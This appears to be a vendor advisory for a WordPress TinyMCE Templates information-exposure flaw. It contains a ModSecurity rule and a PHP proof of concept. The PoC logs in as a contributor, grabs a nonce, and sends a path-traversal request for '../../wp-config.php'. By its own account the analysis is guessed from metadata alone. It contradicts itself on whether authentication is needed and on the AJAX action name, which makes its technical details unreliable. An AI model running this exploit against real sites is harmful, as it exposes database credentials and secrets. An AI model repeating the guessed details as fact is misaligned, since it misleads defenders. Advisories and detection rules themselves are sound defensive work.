Atomic Edge analysis of CVE-2026-65535 (metadata-based): TinyMCE Templates <= 4.8.1 suffers from an unauthenticated-sensitive-information-exposure flaw. The plugin allows users with Contributor-level access or higher to extract private configuration data. This flaw carries a base CVSS score of 4.3. The impacted component is inferred to be an AJAX handler or REST endpoint used for loading template content, given the plugin's function. This analysis derives its conclusions from the CVE metadata, the CWE classification, and common WordPress plugin patterns. No source code was available for confirmation, so findings are inferred.
Root Cause: The CWE-200 classification points to a lack of server-side authorization checks. The plugin likely registers an AJAX action or REST route to fetch template lists, content, or plugin configuration. Atomic Edge analysis infers this handler validates a user's existence with a capability check like current_user_can() but fails to enforce a specific privilege such as edit_posts or manage_options. A Contributor role, which typically has no direct access to sensitive admin data, bypasses these inadequate checks and requests the data directly.
Exploitation: An attacker with Contributor credentials first obtains a valid WordPress nonce for a plugin AJAX action. They then craft a POST request to /wp-admin/admin-ajax.php. The request includes the action parameter set to a hook such as tinymce_templates_get_data and includes a target parameter pointing to sensitive user meta or configuration files. The server responds with the requested data in JSON format. The attacker repeats this process with different parameters to enumerate configuration details.
Remediation: The fix requires adding strict capability checks to the affected AJAX handler or REST endpoint. The plugin should call current_user_can('edit_posts') before executing any data retrieval logic. It must also validate and sanitize any parameters used to select files, paths, or database records. Restricting the accessible configuration and user data by allowlisting permitted keys in the code is essential.
Impact: Successful exploitation allows authenticated users with low privileges to read sensitive information. This exposure can include database credentials, API keys, internal file paths, and user metadata. The leaked data enables lateral movement or further privilege escalation. In some configurations containing admin secrets, combined with other flaws, this can lead to full site compromise.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-65535 (metadata-based)
# The exact AJAX action names are unknown. This rule targets the guessed action and requires the request to come from an authenticated user.
# Without a nonce check, the rule will not block legitimate requests that carry a valid nonce. Since the nonce is unpredictable, we use a broad match on the action parameter.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20266535,phase:2,deny,status:403,chain,msg:'CVE-2026-65535 via TinyMCE Templates AJAX action',severity:'CRITICAL',tag:'CVE-2026-65535'"
SecRule ARGS_POST:action "@streq tinymce_templates_get_content" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65535 - TinyMCE Templates <= 4.8.1 - Authenticated (Contributor+) Sensitive Information Exposure
/*
* This PoC exploits a guessed AJAX action 'tinymce_templates_get_content'.
* No source code was available, so the action name is inferred from the plugin slug and common patterns.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'contributor_user';
$password = 'contributor_pass';
// Step 1: Authenticate and get a nonce.
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url
)));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
// Parse the admin page for the nonce value (simplistic approach; in practice, locate the specific script).
preg_match('/name="_ajax_nonce" value="([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? null;
if (!$nonce) {
// Fallback: generate the nonce manually? Not possible for a remote PoC.
die("Could not locate nonce. Ensure the admin page body is fully fetched.\n");
}
// Step 2: Send the malicious request.
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'action' => 'tinymce_templates_get_content',
'nonce' => $nonce,
'template' => '../../wp-config.php' // Attempt path traversal to read config.
)));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
// Output the file contents.
echo $data;
?>
